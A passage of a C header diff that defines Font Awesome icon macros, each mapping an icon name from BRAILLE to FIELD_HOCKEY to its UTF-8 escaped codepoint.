"\xef\x9f\xaa" // U+f7ea +#define ICON_FA_BRAILLE "\xef\x8a\xa1" // U+f2a1 +#define ICON_FA_BRAIN "\xef\x97\x9c" // U+f5dc +#define ICON_FA_BREAD_LOAF "\xef\x9f\xab" // U+f7eb +#define ICON_FA_BREAD_SLICE "\xef\x9f\xac" // U+f7ec +#define ICON_FA_BRIEFCASE "\xef\x82\xb1" // U+f0b1 +#define ICON_FA_BRIEFCASE_MEDICAL "\xef\x91\xa9" // U+f469 +#define ICON_FA_BRING_FORWARD "\xef\xa1\x96" // U+f856 +#define ICON_FA_BRING_FRONT "\xef\xa1\x97" // U+f857 +#define ICON_FA_BROADCAST_TOWER "\xef\x94\x99" // U+f519 +#define ICON_FA_BROOM "\xef\x94\x9a" // U+f51a +#define ICON_FA_BROWSER "\xef\x8d\xbe" // U+f37e +#define ICON_FA_BRUSH "\xef\x95\x9d" // U+f55d +#define ICON_FA_BUG "\xef\x86\x88" // U+f188 +#define ICON_FA_BUILDING "\xef\x86\xad" // U+f1ad +#define ICON_FA_BULLHORN "\xef\x82\xa1" // U+f0a1 +#define ICON_FA_BULLSEYE "\xef\x85\x80" // U+f140 +#define ICON_FA_BULLSEYE_ARROW "\xef\x99\x88" // U+f648 +#define ICON_FA_BULLSEYE_POINTER "\xef\x99\x89" // U+f649 +#define ICON_FA_BURGER_SODA "\xef\xa1\x98" // U+f858 +#define ICON_FA_BURN "\xef\x91\xaa" // U+f46a +#define ICON_FA_BURRITO "\xef\x9f\xad" // U+f7ed +#define ICON_FA_BUS "\xef\x88\x87" // U+f207 +#define ICON_FA_BUS_ALT "\xef\x95\x9e" // U+f55e +#define ICON_FA_BUS_SCHOOL "\xef\x97\x9d" // U+f5dd +#define ICON_FA_BUSINESS_TIME "\xef\x99\x8a" // U+f64a +#define ICON_FA_CABINET_FILING "\xef\x99\x8b" // U+f64b +#define ICON_FA_CACTUS "\xef\xa2\xa7" // U+f8a7 +#define ICON_FA_CALCULATOR "\xef\x87\xac" // U+f1ec +#define ICON_FA_CALCULATOR_ALT "\xef\x99\x8c" // U+f64c +#define ICON_FA_CALENDAR "\xef\x84\xb3" // U+f133 +#define ICON_FA_CALENDAR_ALT "\xef\x81\xb3" // U+f073 +#define ICON_FA_CALENDAR_CHECK "\xef\x89\xb4" // U+f274 +#define ICON_FA_CALENDAR_DAY "\xef\x9e\x83" // U+f783 +#define ICON_FA_CALENDAR_EDIT "\xef\x8c\xb3" // U+f333 +#define ICON_FA_CALENDAR_EXCLAMATION "\xef\x8c\xb4" // U+f334 +#define ICON_FA_CALENDAR_MINUS "\xef\x89\xb2" // U+f272 +#define ICON_FA_CALENDAR_PLUS "\xef\x89\xb1" // U+f271 +#define ICON_FA_CALENDAR_STAR "\xef\x9c\xb6" // U+f736 +#define ICON_FA_CALENDAR_TIMES "\xef\x89\xb3" // U+f273 +#define ICON_FA_CALENDAR_WEEK "\xef\x9e\x84" // U+f784 +#define ICON_FA_CAMCORDER "\xef\xa2\xa8" // U+f8a8 +#define ICON_FA_CAMERA "\xef\x80\xb0" // U+f030 +#define ICON_FA_CAMERA_ALT "\xef\x8c\xb2" // U+f332 +#define ICON_FA_CAMERA_HOME "\xef\xa3\xbe" // U+f8fe +#define ICON_FA_CAMERA_MOVIE "\xef\xa2\xa9" // U+f8a9 +#define ICON_FA_CAMERA_POLAROID "\xef\xa2\xaa" // U+f8aa +#define ICON_FA_CAMERA_RETRO "\xef\x82\x83" // U+f083 +#define ICON_FA_CAMPFIRE "\xef\x9a\xba" // U+f6ba +#define ICON_FA_CAMPGROUND "\xef\x9a\xbb" // U+f6bb +#define ICON_FA_CANDLE_HOLDER "\xef\x9a\xbc" // U+f6bc +#define ICON_FA_CANDY_CANE "\xef\x9e\x86" // U+f786 +#define ICON_FA_CANDY_CORN "\xef\x9a\xbd" // U+f6bd +#define ICON_FA_CANNABIS "\xef\x95\x9f" // U+f55f +#define ICON_FA_CAPSULES "\xef\x91\xab" // U+f46b +#define ICON_FA_CAR "\xef\x86\xb9" // U+f1b9 +#define ICON_FA_CAR_ALT "\xef\x97\x9e" // U+f5de +#define ICON_FA_CAR_BATTERY "\xef\x97\x9f" // U+f5df +#define ICON_FA_CAR_BUILDING "\xef\xa1\x99" // U+f859 +#define ICON_FA_CAR_BUMP "\xef\x97\xa0" // U+f5e0 +#define ICON_FA_CAR_BUS "\xef\xa1\x9a" // U+f85a +#define ICON_FA_CAR_CRASH "\xef\x97\xa1" // U+f5e1 +#define ICON_FA_CAR_GARAGE "\xef\x97\xa2" // U+f5e2 +#define ICON_FA_CAR_MECHANIC "\xef\x97\xa3" // U+f5e3 +#define ICON_FA_CAR_SIDE "\xef\x97\xa4" // U+f5e4 +#define ICON_FA_CAR_TILT "\xef\x97\xa5" // U+f5e5 +#define ICON_FA_CAR_WASH "\xef\x97\xa6" // U+f5e6 +#define ICON_FA_CARAVAN "\xef\xa3\xbf" // U+f8ff +#define ICON_FA_CARAVAN_ALT "\xee\x80\x80" // U+e000 +#define ICON_FA_CARET_CIRCLE_DOWN "\xef\x8c\xad" // U+f32d +#define ICON_FA_CARET_CIRCLE_LEFT "\xef\x8c\xae" // U+f32e +#define ICON_FA_CARET_CIRCLE_RIGHT "\xef\x8c\xb0" // U+f330 +#define ICON_FA_CARET_CIRCLE_UP "\xef\x8c\xb1" // U+f331 +#define ICON_FA_CARET_DOWN "\xef\x83\x97" // U+f0d7 +#define ICON_FA_CARET_LEFT "\xef\x83\x99" // U+f0d9 +#define ICON_FA_CARET_RIGHT "\xef\x83\x9a" // U+f0da +#define ICON_FA_CARET_SQUARE_DOWN "\xef\x85\x90" // U+f150 +#define ICON_FA_CARET_SQUARE_LEFT "\xef\x86\x91" // U+f191 +#define ICON_FA_CARET_SQUARE_RIGHT "\xef\x85\x92" // U+f152 +#define ICON_FA_CARET_SQUARE_UP "\xef\x85\x91" // U+f151 +#define ICON_FA_CARET_UP "\xef\x83\x98" // U+f0d8 +#define ICON_FA_CARROT "\xef\x9e\x87" // U+f787 +#define ICON_FA_CARS "\xef\xa1\x9b" // U+f85b +#define ICON_FA_CART_ARROW_DOWN "\xef\x88\x98" // U+f218 +#define ICON_FA_CART_PLUS "\xef\x88\x97" // U+f217 +#define ICON_FA_CASH_REGISTER "\xef\x9e\x88" // U+f788 +#define ICON_FA_CASSETTE_TAPE "\xef\xa2\xab" // U+f8ab +#define ICON_FA_CAT "\xef\x9a\xbe" // U+f6be +#define ICON_FA_CAT_SPACE "\xee\x80\x81" // U+e001 +#define ICON_FA_CAULDRON "\xef\x9a\xbf" // U+f6bf +#define ICON_FA_CCTV "\xef\xa2\xac" // U+f8ac +#define ICON_FA_CERTIFICATE "\xef\x82\xa3" // U+f0a3 +#define ICON_FA_CHAIR "\xef\x9b\x80" // U+f6c0 +#define ICON_FA_CHAIR_OFFICE "\xef\x9b\x81" // U+f6c1 +#define ICON_FA_CHALKBOARD "\xef\x94\x9b" // U+f51b +#define ICON_FA_CHALKBOARD_TEACHER "\xef\x94\x9c" // U+f51c +#define ICON_FA_CHARGING_STATION "\xef\x97\xa7" // U+f5e7 +#define ICON_FA_CHART_AREA "\xef\x87\xbe" // U+f1fe +#define ICON_FA_CHART_BAR "\xef\x82\x80" // U+f080 +#define ICON_FA_CHART_LINE "\xef\x88\x81" // U+f201 +#define ICON_FA_CHART_LINE_DOWN "\xef\x99\x8d" // U+f64d +#define ICON_FA_CHART_NETWORK "\xef\x9e\x8a" // U+f78a +#define ICON_FA_CHART_PIE "\xef\x88\x80" // U+f200 +#define ICON_FA_CHART_PIE_ALT "\xef\x99\x8e" // U+f64e +#define ICON_FA_CHART_SCATTER "\xef\x9f\xae" // U+f7ee +#define ICON_FA_CHECK "\xef\x80\x8c" // U+f00c +#define ICON_FA_CHECK_CIRCLE "\xef\x81\x98" // U+f058 +#define ICON_FA_CHECK_DOUBLE "\xef\x95\xa0" // U+f560 +#define ICON_FA_CHECK_SQUARE "\xef\x85\x8a" // U+f14a +#define ICON_FA_CHEESE "\xef\x9f\xaf" // U+f7ef +#define ICON_FA_CHEESE_SWISS "\xef\x9f\xb0" // U+f7f0 +#define ICON_FA_CHEESEBURGER "\xef\x9f\xb1" // U+f7f1 +#define ICON_FA_CHESS "\xef\x90\xb9" // U+f439 +#define ICON_FA_CHESS_BISHOP "\xef\x90\xba" // U+f43a +#define ICON_FA_CHESS_BISHOP_ALT "\xef\x90\xbb" // U+f43b +#define ICON_FA_CHESS_BOARD "\xef\x90\xbc" // U+f43c +#define ICON_FA_CHESS_CLOCK "\xef\x90\xbd" // U+f43d +#define ICON_FA_CHESS_CLOCK_ALT "\xef\x90\xbe" // U+f43e +#define ICON_FA_CHESS_KING "\xef\x90\xbf" // U+f43f +#define ICON_FA_CHESS_KING_ALT "\xef\x91\x80" // U+f440 +#define ICON_FA_CHESS_KNIGHT "\xef\x91\x81" // U+f441 +#define ICON_FA_CHESS_KNIGHT_ALT "\xef\x91\x82" // U+f442 +#define ICON_FA_CHESS_PAWN "\xef\x91\x83" // U+f443 +#define ICON_FA_CHESS_PAWN_ALT "\xef\x91\x84" // U+f444 +#define ICON_FA_CHESS_QUEEN "\xef\x91\x85" // U+f445 +#define ICON_FA_CHESS_QUEEN_ALT "\xef\x91\x86" // U+f446 +#define ICON_FA_CHESS_ROOK "\xef\x91\x87" // U+f447 +#define ICON_FA_CHESS_ROOK_ALT "\xef\x91\x88" // U+f448 +#define ICON_FA_CHEVRON_CIRCLE_DOWN "\xef\x84\xba" // U+f13a +#define ICON_FA_CHEVRON_CIRCLE_LEFT "\xef\x84\xb7" // U+f137 +#define ICON_FA_CHEVRON_CIRCLE_RIGHT "\xef\x84\xb8" // U+f138 +#define ICON_FA_CHEVRON_CIRCLE_UP "\xef\x84\xb9" // U+f139 +#define ICON_FA_CHEVRON_DOUBLE_DOWN "\xef\x8c\xa2" // U+f322 +#define ICON_FA_CHEVRON_DOUBLE_LEFT "\xef\x8c\xa3" // U+f323 +#define ICON_FA_CHEVRON_DOUBLE_RIGHT "\xef\x8c\xa4" // U+f324 +#define ICON_FA_CHEVRON_DOUBLE_UP "\xef\x8c\xa5" // U+f325 +#define ICON_FA_CHEVRON_DOWN "\xef\x81\xb8" // U+f078 +#define ICON_FA_CHEVRON_LEFT "\xef\x81\x93" // U+f053 +#define ICON_FA_CHEVRON_RIGHT "\xef\x81\x94" // U+f054 +#define ICON_FA_CHEVRON_SQUARE_DOWN "\xef\x8c\xa9" // U+f329 +#define ICON_FA_CHEVRON_SQUARE_LEFT "\xef\x8c\xaa" // U+f32a +#define ICON_FA_CHEVRON_SQUARE_RIGHT "\xef\x8c\xab" // U+f32b +#define ICON_FA_CHEVRON_SQUARE_UP "\xef\x8c\xac" // U+f32c +#define ICON_FA_CHEVRON_UP "\xef\x81\xb7" // U+f077 +#define ICON_FA_CHILD "\xef\x86\xae" // U+f1ae +#define ICON_FA_CHIMNEY "\xef\x9e\x8b" // U+f78b +#define ICON_FA_CHURCH "\xef\x94\x9d" // U+f51d +#define ICON_FA_CIRCLE "\xef\x84\x91" // U+f111 +#define ICON_FA_CIRCLE_NOTCH "\xef\x87\x8e" // U+f1ce +#define ICON_FA_CITY "\xef\x99\x8f" // U+f64f +#define ICON_FA_CLARINET "\xef\xa2\xad" // U+f8ad +#define ICON_FA_CLAW_MARKS "\xef\x9b\x82" // U+f6c2 +#define ICON_FA_CLINIC_MEDICAL "\xef\x9f\xb2" // U+f7f2 +#define ICON_FA_CLIPBOARD "\xef\x8c\xa8" // U+f328 +#define ICON_FA_CLIPBOARD_CHECK "\xef\x91\xac" // U+f46c +#define ICON_FA_CLIPBOARD_LIST "\xef\x91\xad" // U+f46d +#define ICON_FA_CLIPBOARD_LIST_CHECK "\xef\x9c\xb7" // U+f737 +#define ICON_FA_CLIPBOARD_PRESCRIPTION "\xef\x97\xa8" // U+f5e8 +#define ICON_FA_CLIPBOARD_USER "\xef\x9f\xb3" // U+f7f3 +#define ICON_FA_CLOCK "\xef\x80\x97" // U+f017 +#define ICON_FA_CLONE "\xef\x89\x8d" // U+f24d +#define ICON_FA_CLOSED_CAPTIONING "\xef\x88\x8a" // U+f20a +#define ICON_FA_CLOUD "\xef\x83\x82" // U+f0c2 +#define ICON_FA_CLOUD_DOWNLOAD "\xef\x83\xad" // U+f0ed +#define ICON_FA_CLOUD_DOWNLOAD_ALT "\xef\x8e\x81" // U+f381 +#define ICON_FA_CLOUD_DRIZZLE "\xef\x9c\xb8" // U+f738 +#define ICON_FA_CLOUD_HAIL "\xef\x9c\xb9" // U+f739 +#define ICON_FA_CLOUD_HAIL_MIXED "\xef\x9c\xba" // U+f73a +#define ICON_FA_CLOUD_MEATBALL "\xef\x9c\xbb" // U+f73b +#define ICON_FA_CLOUD_MOON "\xef\x9b\x83" // U+f6c3 +#define ICON_FA_CLOUD_MOON_RAIN "\xef\x9c\xbc" // U+f73c +#define ICON_FA_CLOUD_MUSIC "\xef\xa2\xae" // U+f8ae +#define ICON_FA_CLOUD_RAIN "\xef\x9c\xbd" // U+f73d +#define ICON_FA_CLOUD_RAINBOW "\xef\x9c\xbe" // U+f73e +#define ICON_FA_CLOUD_SHOWERS "\xef\x9c\xbf" // U+f73f +#define ICON_FA_CLOUD_SHOWERS_HEAVY "\xef\x9d\x80" // U+f740 +#define ICON_FA_CLOUD_SLEET "\xef\x9d\x81" // U+f741 +#define ICON_FA_CLOUD_SNOW "\xef\x9d\x82" // U+f742 +#define ICON_FA_CLOUD_SUN "\xef\x9b\x84" // U+f6c4 +#define ICON_FA_CLOUD_SUN_RAIN "\xef\x9d\x83" // U+f743 +#define ICON_FA_CLOUD_UPLOAD "\xef\x83\xae" // U+f0ee +#define ICON_FA_CLOUD_UPLOAD_ALT "\xef\x8e\x82" // U+f382 +#define ICON_FA_CLOUDS "\xef\x9d\x84" // U+f744 +#define ICON_FA_CLOUDS_MOON "\xef\x9d\x85" // U+f745 +#define ICON_FA_CLOUDS_SUN "\xef\x9d\x86" // U+f746 +#define ICON_FA_CLUB "\xef\x8c\xa7" // U+f327 +#define ICON_FA_COCKTAIL "\xef\x95\xa1" // U+f561 +#define ICON_FA_CODE "\xef\x84\xa1" // U+f121 +#define ICON_FA_CODE_BRANCH "\xef\x84\xa6" // U+f126 +#define ICON_FA_CODE_COMMIT "\xef\x8e\x86" // U+f386 +#define ICON_FA_CODE_MERGE "\xef\x8e\x87" // U+f387 +#define ICON_FA_COFFEE "\xef\x83\xb4" // U+f0f4 +#define ICON_FA_COFFEE_POT "\xee\x80\x82" // U+e002 +#define ICON_FA_COFFEE_TOGO "\xef\x9b\x85" // U+f6c5 +#define ICON_FA_COFFIN "\xef\x9b\x86" // U+f6c6 +#define ICON_FA_COFFIN_CROSS "\xee\x81\x91" // U+e051 +#define ICON_FA_COG "\xef\x80\x93" // U+f013 +#define ICON_FA_COGS "\xef\x82\x85" // U+f085 +#define ICON_FA_COIN "\xef\xa1\x9c" // U+f85c +#define ICON_FA_COINS "\xef\x94\x9e" // U+f51e +#define ICON_FA_COLUMNS "\xef\x83\x9b" // U+f0db +#define ICON_FA_COMET "\xee\x80\x83" // U+e003 +#define ICON_FA_COMMENT "\xef\x81\xb5" // U+f075 +#define ICON_FA_COMMENT_ALT "\xef\x89\xba" // U+f27a +#define ICON_FA_COMMENT_ALT_CHECK "\xef\x92\xa2" // U+f4a2 +#define ICON_FA_COMMENT_ALT_DOLLAR "\xef\x99\x90" // U+f650 +#define ICON_FA_COMMENT_ALT_DOTS "\xef\x92\xa3" // U+f4a3 +#define ICON_FA_COMMENT_ALT_EDIT "\xef\x92\xa4" // U+f4a4 +#define ICON_FA_COMMENT_ALT_EXCLAMATION "\xef\x92\xa5" // U+f4a5 +#define ICON_FA_COMMENT_ALT_LINES "\xef\x92\xa6" // U+f4a6 +#define ICON_FA_COMMENT_ALT_MEDICAL "\xef\x9f\xb4" // U+f7f4 +#define ICON_FA_COMMENT_ALT_MINUS "\xef\x92\xa7" // U+f4a7 +#define ICON_FA_COMMENT_ALT_MUSIC "\xef\xa2\xaf" // U+f8af +#define ICON_FA_COMMENT_ALT_PLUS "\xef\x92\xa8" // U+f4a8 +#define ICON_FA_COMMENT_ALT_SLASH "\xef\x92\xa9" // U+f4a9 +#define ICON_FA_COMMENT_ALT_SMILE "\xef\x92\xaa" // U+f4aa +#define ICON_FA_COMMENT_ALT_TIMES "\xef\x92\xab" // U+f4ab +#define ICON_FA_COMMENT_CHECK "\xef\x92\xac" // U+f4ac +#define ICON_FA_COMMENT_DOLLAR "\xef\x99\x91" // U+f651 +#define ICON_FA_COMMENT_DOTS "\xef\x92\xad" // U+f4ad +#define ICON_FA_COMMENT_EDIT "\xef\x92\xae" // U+f4ae +#define ICON_FA_COMMENT_EXCLAMATION "\xef\x92\xaf" // U+f4af +#define ICON_FA_COMMENT_LINES "\xef\x92\xb0" // U+f4b0 +#define ICON_FA_COMMENT_MEDICAL "\xef\x9f\xb5" // U+f7f5 +#define ICON_FA_COMMENT_MINUS "\xef\x92\xb1" // U+f4b1 +#define ICON_FA_COMMENT_MUSIC "\xef\xa2\xb0" // U+f8b0 +#define ICON_FA_COMMENT_PLUS "\xef\x92\xb2" // U+f4b2 +#define ICON_FA_COMMENT_SLASH "\xef\x92\xb3" // U+f4b3 +#define ICON_FA_COMMENT_SMILE "\xef\x92\xb4" // U+f4b4 +#define ICON_FA_COMMENT_TIMES "\xef\x92\xb5" // U+f4b5 +#define ICON_FA_COMMENTS "\xef\x82\x86" // U+f086 +#define ICON_FA_COMMENTS_ALT "\xef\x92\xb6" // U+f4b6 +#define ICON_FA_COMMENTS_ALT_DOLLAR "\xef\x99\x92" // U+f652 +#define ICON_FA_COMMENTS_DOLLAR "\xef\x99\x93" // U+f653 +#define ICON_FA_COMPACT_DISC "\xef\x94\x9f" // U+f51f +#define ICON_FA_COMPASS "\xef\x85\x8e" // U+f14e +#define ICON_FA_COMPASS_SLASH "\xef\x97\xa9" // U+f5e9 +#define ICON_FA_COMPRESS "\xef\x81\xa6" // U+f066 +#define ICON_FA_COMPRESS_ALT "\xef\x90\xa2" // U+f422 +#define ICON_FA_COMPRESS_ARROWS_ALT "\xef\x9e\x8c" // U+f78c +#define ICON_FA_COMPRESS_WIDE "\xef\x8c\xa6" // U+f326 +#define ICON_FA_COMPUTER_CLASSIC "\xef\xa2\xb1" // U+f8b1 +#define ICON_FA_COMPUTER_SPEAKER "\xef\xa2\xb2" // U+f8b2 +#define ICON_FA_CONCIERGE_BELL "\xef\x95\xa2" // U+f562 +#define ICON_FA_CONSTRUCTION "\xef\xa1\x9d" // U+f85d +#define ICON_FA_CONTAINER_STORAGE "\xef\x92\xb7" // U+f4b7 +#define ICON_FA_CONVEYOR_BELT "\xef\x91\xae" // U+f46e +#define ICON_FA_CONVEYOR_BELT_ALT "\xef\x91\xaf" // U+f46f +#define ICON_FA_COOKIE "\xef\x95\xa3" // U+f563 +#define ICON_FA_COOKIE_BITE "\xef\x95\xa4" // U+f564 +#define ICON_FA_COPY "\xef\x83\x85" // U+f0c5 +#define ICON_FA_COPYRIGHT "\xef\x87\xb9" // U+f1f9 +#define ICON_FA_CORN "\xef\x9b\x87" // U+f6c7 +#define ICON_FA_COUCH "\xef\x92\xb8" // U+f4b8 +#define ICON_FA_COW "\xef\x9b\x88" // U+f6c8 +#define ICON_FA_COWBELL "\xef\xa2\xb3" // U+f8b3 +#define ICON_FA_COWBELL_MORE "\xef\xa2\xb4" // U+f8b4 +#define ICON_FA_CREDIT_CARD "\xef\x82\x9d" // U+f09d +#define ICON_FA_CREDIT_CARD_BLANK "\xef\x8e\x89" // U+f389 +#define ICON_FA_CREDIT_CARD_FRONT "\xef\x8e\x8a" // U+f38a +#define ICON_FA_CRICKET "\xef\x91\x89" // U+f449 +#define ICON_FA_CROISSANT "\xef\x9f\xb6" // U+f7f6 +#define ICON_FA_CROP "\xef\x84\xa5" // U+f125 +#define ICON_FA_CROP_ALT "\xef\x95\xa5" // U+f565 +#define ICON_FA_CROSS "\xef\x99\x94" // U+f654 +#define ICON_FA_CROSSHAIRS "\xef\x81\x9b" // U+f05b +#define ICON_FA_CROW "\xef\x94\xa0" // U+f520 +#define ICON_FA_CROWN "\xef\x94\xa1" // U+f521 +#define ICON_FA_CRUTCH "\xef\x9f\xb7" // U+f7f7 +#define ICON_FA_CRUTCHES "\xef\x9f\xb8" // U+f7f8 +#define ICON_FA_CUBE "\xef\x86\xb2" // U+f1b2 +#define ICON_FA_CUBES "\xef\x86\xb3" // U+f1b3 +#define ICON_FA_CURLING "\xef\x91\x8a" // U+f44a +#define ICON_FA_CUT "\xef\x83\x84" // U+f0c4 +#define ICON_FA_DAGGER "\xef\x9b\x8b" // U+f6cb +#define ICON_FA_DATABASE "\xef\x87\x80" // U+f1c0 +#define ICON_FA_DEAF "\xef\x8a\xa4" // U+f2a4 +#define ICON_FA_DEBUG "\xef\x9f\xb9" // U+f7f9 +#define ICON_FA_DEER "\xef\x9e\x8e" // U+f78e +#define ICON_FA_DEER_RUDOLPH "\xef\x9e\x8f" // U+f78f +#define ICON_FA_DEMOCRAT "\xef\x9d\x87" // U+f747 +#define ICON_FA_DESKTOP "\xef\x84\x88" // U+f108 +#define ICON_FA_DESKTOP_ALT "\xef\x8e\x90" // U+f390 +#define ICON_FA_DEWPOINT "\xef\x9d\x88" // U+f748 +#define ICON_FA_DHARMACHAKRA "\xef\x99\x95" // U+f655 +#define ICON_FA_DIAGNOSES "\xef\x91\xb0" // U+f470 +#define ICON_FA_DIAMOND "\xef\x88\x99" // U+f219 +#define ICON_FA_DICE "\xef\x94\xa2" // U+f522 +#define ICON_FA_DICE_D10 "\xef\x9b\x8d" // U+f6cd +#define ICON_FA_DICE_D12 "\xef\x9b\x8e" // U+f6ce +#define ICON_FA_DICE_D20 "\xef\x9b\x8f" // U+f6cf +#define ICON_FA_DICE_D4 "\xef\x9b\x90" // U+f6d0 +#define ICON_FA_DICE_D6 "\xef\x9b\x91" // U+f6d1 +#define ICON_FA_DICE_D8 "\xef\x9b\x92" // U+f6d2 +#define ICON_FA_DICE_FIVE "\xef\x94\xa3" // U+f523 +#define ICON_FA_DICE_FOUR "\xef\x94\xa4" // U+f524 +#define ICON_FA_DICE_ONE "\xef\x94\xa5" // U+f525 +#define ICON_FA_DICE_SIX "\xef\x94\xa6" // U+f526 +#define ICON_FA_DICE_THREE "\xef\x94\xa7" // U+f527 +#define ICON_FA_DICE_TWO "\xef\x94\xa8" // U+f528 +#define ICON_FA_DIGGING "\xef\xa1\x9e" // U+f85e +#define ICON_FA_DIGITAL_TACHOGRAPH "\xef\x95\xa6" // U+f566 +#define ICON_FA_DIPLOMA "\xef\x97\xaa" // U+f5ea +#define ICON_FA_DIRECTIONS "\xef\x97\xab" // U+f5eb +#define ICON_FA_DISC_DRIVE "\xef\xa2\xb5" // U+f8b5 +#define ICON_FA_DISEASE "\xef\x9f\xba" // U+f7fa +#define ICON_FA_DIVIDE "\xef\x94\xa9" // U+f529 +#define ICON_FA_DIZZY "\xef\x95\xa7" // U+f567 +#define ICON_FA_DNA "\xef\x91\xb1" // U+f471 +#define ICON_FA_DO_NOT_ENTER "\xef\x97\xac" // U+f5ec +#define ICON_FA_DOG "\xef\x9b\x93" // U+f6d3 +#define ICON_FA_DOG_LEASHED "\xef\x9b\x94" // U+f6d4 +#define ICON_FA_DOLLAR_SIGN "\xef\x85\x95" // U+f155 +#define ICON_FA_DOLLY "\xef\x91\xb2" // U+f472 +#define ICON_FA_DOLLY_EMPTY "\xef\x91\xb3" // U+f473 +#define ICON_FA_DOLLY_FLATBED "\xef\x91\xb4" // U+f474 +#define ICON_FA_DOLLY_FLATBED_ALT "\xef\x91\xb5" // U+f475 +#define ICON_FA_DOLLY_FLATBED_EMPTY "\xef\x91\xb6" // U+f476 +#define ICON_FA_DONATE "\xef\x92\xb9" // U+f4b9 +#define ICON_FA_DOOR_CLOSED "\xef\x94\xaa" // U+f52a +#define ICON_FA_DOOR_OPEN "\xef\x94\xab" // U+f52b +#define ICON_FA_DOT_CIRCLE "\xef\x86\x92" // U+f192 +#define ICON_FA_DOVE "\xef\x92\xba" // U+f4ba +#define ICON_FA_DOWNLOAD "\xef\x80\x99" // U+f019 +#define ICON_FA_DRAFTING_COMPASS "\xef\x95\xa8" // U+f568 +#define ICON_FA_DRAGON "\xef\x9b\x95" // U+f6d5 +#define ICON_FA_DRAW_CIRCLE "\xef\x97\xad" // U+f5ed +#define ICON_FA_DRAW_POLYGON "\xef\x97\xae" // U+f5ee +#define ICON_FA_DRAW_SQUARE "\xef\x97\xaf" // U+f5ef +#define ICON_FA_DREIDEL "\xef\x9e\x92" // U+f792 +#define ICON_FA_DRONE "\xef\xa1\x9f" // U+f85f +#define ICON_FA_DRONE_ALT "\xef\xa1\xa0" // U+f860 +#define ICON_FA_DRUM "\xef\x95\xa9" // U+f569 +#define ICON_FA_DRUM_STEELPAN "\xef\x95\xaa" // U+f56a +#define ICON_FA_DRUMSTICK "\xef\x9b\x96" // U+f6d6 +#define ICON_FA_DRUMSTICK_BITE "\xef\x9b\x97" // U+f6d7 +#define ICON_FA_DRYER "\xef\xa1\xa1" // U+f861 +#define ICON_FA_DRYER_ALT "\xef\xa1\xa2" // U+f862 +#define ICON_FA_DUCK "\xef\x9b\x98" // U+f6d8 +#define ICON_FA_DUMBBELL "\xef\x91\x8b" // U+f44b +#define ICON_FA_DUMPSTER "\xef\x9e\x93" // U+f793 +#define ICON_FA_DUMPSTER_FIRE "\xef\x9e\x94" // U+f794 +#define ICON_FA_DUNGEON "\xef\x9b\x99" // U+f6d9 +#define ICON_FA_EAR "\xef\x97\xb0" // U+f5f0 +#define ICON_FA_EAR_MUFFS "\xef\x9e\x95" // U+f795 +#define ICON_FA_ECLIPSE "\xef\x9d\x89" // U+f749 +#define ICON_FA_ECLIPSE_ALT "\xef\x9d\x8a" // U+f74a +#define ICON_FA_EDIT "\xef\x81\x84" // U+f044 +#define ICON_FA_EGG "\xef\x9f\xbb" // U+f7fb +#define ICON_FA_EGG_FRIED "\xef\x9f\xbc" // U+f7fc +#define ICON_FA_EJECT "\xef\x81\x92" // U+f052 +#define ICON_FA_ELEPHANT "\xef\x9b\x9a" // U+f6da +#define ICON_FA_ELLIPSIS_H "\xef\x85\x81" // U+f141 +#define ICON_FA_ELLIPSIS_H_ALT "\xef\x8e\x9b" // U+f39b +#define ICON_FA_ELLIPSIS_V "\xef\x85\x82" // U+f142 +#define ICON_FA_ELLIPSIS_V_ALT "\xef\x8e\x9c" // U+f39c +#define ICON_FA_EMPTY_SET "\xef\x99\x96" // U+f656 +#define ICON_FA_ENGINE_WARNING "\xef\x97\xb2" // U+f5f2 +#define ICON_FA_ENVELOPE "\xef\x83\xa0" // U+f0e0 +#define ICON_FA_ENVELOPE_OPEN "\xef\x8a\xb6" // U+f2b6 +#define ICON_FA_ENVELOPE_OPEN_DOLLAR "\xef\x99\x97" // U+f657 +#define ICON_FA_ENVELOPE_OPEN_TEXT "\xef\x99\x98" // U+f658 +#define ICON_FA_ENVELOPE_SQUARE "\xef\x86\x99" // U+f199 +#define ICON_FA_EQUALS "\xef\x94\xac" // U+f52c +#define ICON_FA_ERASER "\xef\x84\xad" // U+f12d +#define ICON_FA_ETHERNET "\xef\x9e\x96" // U+f796 +#define ICON_FA_EURO_SIGN "\xef\x85\x93" // U+f153 +#define ICON_FA_EXCHANGE "\xef\x83\xac" // U+f0ec +#define ICON_FA_EXCHANGE_ALT "\xef\x8d\xa2" // U+f362 +#define ICON_FA_EXCLAMATION "\xef\x84\xaa" // U+f12a +#define ICON_FA_EXCLAMATION_CIRCLE "\xef\x81\xaa" // U+f06a +#define ICON_FA_EXCLAMATION_SQUARE "\xef\x8c\xa1" // U+f321 +#define ICON_FA_EXCLAMATION_TRIANGLE "\xef\x81\xb1" // U+f071 +#define ICON_FA_EXPAND "\xef\x81\xa5" // U+f065 +#define ICON_FA_EXPAND_ALT "\xef\x90\xa4" // U+f424 +#define ICON_FA_EXPAND_ARROWS "\xef\x8c\x9d" // U+f31d +#define ICON_FA_EXPAND_ARROWS_ALT "\xef\x8c\x9e" // U+f31e +#define ICON_FA_EXPAND_WIDE "\xef\x8c\xa0" // U+f320 +#define ICON_FA_EXTERNAL_LINK "\xef\x82\x8e" // U+f08e +#define ICON_FA_EXTERNAL_LINK_ALT "\xef\x8d\x9d" // U+f35d +#define ICON_FA_EXTERNAL_LINK_SQUARE "\xef\x85\x8c" // U+f14c +#define ICON_FA_EXTERNAL_LINK_SQUARE_ALT "\xef\x8d\xa0" // U+f360 +#define ICON_FA_EYE "\xef\x81\xae" // U+f06e +#define ICON_FA_EYE_DROPPER "\xef\x87\xbb" // U+f1fb +#define ICON_FA_EYE_EVIL "\xef\x9b\x9b" // U+f6db +#define ICON_FA_EYE_SLASH "\xef\x81\xb0" // U+f070 +#define ICON_FA_FAN "\xef\xa1\xa3" // U+f863 +#define ICON_FA_FAN_TABLE "\xee\x80\x84" // U+e004 +#define ICON_FA_FARM "\xef\xa1\xa4" // U+f864 +#define ICON_FA_FAST_BACKWARD "\xef\x81\x89" // U+f049 +#define ICON_FA_FAST_FORWARD "\xef\x81\x90" // U+f050 +#define ICON_FA_FAUCET "\xee\x80\x85" // U+e005 +#define ICON_FA_FAUCET_DRIP "\xee\x80\x86" // U+e006 +#define ICON_FA_FAX "\xef\x86\xac" // U+f1ac +#define ICON_FA_FEATHER "\xef\x94\xad" // U+f52d +#define ICON_FA_FEATHER_ALT "\xef\x95\xab" // U+f56b +#define ICON_FA_FEMALE "\xef\x86\x82" // U+f182 +#define ICON_FA_FIELD_HOCKEY "\xef\x91\x8c" // U+f44c +#define 